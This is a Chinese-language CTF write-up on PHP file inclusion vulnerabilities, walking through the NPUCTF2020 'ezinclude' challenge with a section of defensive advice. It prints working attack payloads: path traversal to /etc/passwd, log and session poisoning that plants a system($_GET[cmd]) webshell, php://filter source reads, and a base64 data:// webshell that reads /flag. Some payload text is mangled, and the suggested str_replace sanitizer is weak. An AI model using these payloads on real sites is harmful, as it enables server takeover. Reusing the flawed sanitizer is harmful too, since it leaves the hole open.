Web安全:文件包含漏洞原理与CTF实战绕过技巧
1. 题目背景与核心考点解析NPUCTF2020的ezinclude是一道典型的Web安全挑战题题目名称直指include这个关键操作暗示考察文件包含漏洞。这类题型在CTF比赛中属于Web方向的基础题型但往往隐藏着多层绕过技巧。从题目命名来看ez可能暗示题目存在非预期解或是考察选手对基础漏洞的深入理解能力。实际解题过程中发现这道题确实包含了常规文件包含漏洞的多种变形利用方式。2. 环境搭建与初步测试首先我们需要搭建本地测试环境。推荐使用Docker快速部署docker run -d -p 8080:80 --name ezinclude vulhub/php:7.4访问页面后可以看到一个简单的文件包含接口典型的测试payload如下?file../../../../etc/passwd但题目设置了基础防护直接尝试包含系统文件会返回错误。这时候就需要考虑各种绕过技巧。3. 文件包含漏洞深度利用3.1 基础绕过技巧首先尝试日志文件包含?file/var/log/nginx/access.log通过User-Agent注入PHP代码GET /?file/var/log/nginx/access.log HTTP/1.1 Host: target User-Agent: ?php system($_GET[cmd]);?3.2 PHP伪协议利用当常规文件包含被限制时PHP伪协议是重要突破口?filephp://filter/convert.base64-encode/resourceindex.php这个payload可以读取源码并base64编码输出避免直接包含执行。3.3 Session文件包含如果服务器开启了session可以尝试包含session文件?file/tmp/sess_[sessionid]通过污染session变量注入代码document.cookie PHPSESSIDinjected; fetch(/?inject?php system($_GET[cmd]);?)4. 题目特殊限制与绕过这道题的特殊之处在于设置了多重过滤检查包含路径是否包含flag关键字禁用部分特殊字符限制包含文件后缀绕过方案?filephp://filter/string.strip_tags|convert.base64-decode/resourcephp://input通过多重filter链实现代码执行。5. 最终利用链构建完整的利用步骤使用php://filter读取源码分析源码中的过滤逻辑构造多层编码的payload通过临时文件包含实现RCE读取/flag文件内容关键payload示例?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4cmdcat /flag6. 防御方案与修复建议针对此类漏洞建议采取以下防护措施禁用危险PHP伪协议ini_set(allow_url_include, 0);严格校验包含文件路径$file str_replace([../, ..\\], , $_GET[file]);设置包含白名单$allowed [header.php, footer.php]; if(!in_array($file, $allowed)) { die(Invalid file); }7. 同类题型扩展思考类似的CTF题目通常会考察以下变种长度限制下的短标签利用无字母数字webshell.htaccess文件包含Phar反序列化结合文件包含建议通过vulhub等靶场环境系统练习这些变种题型。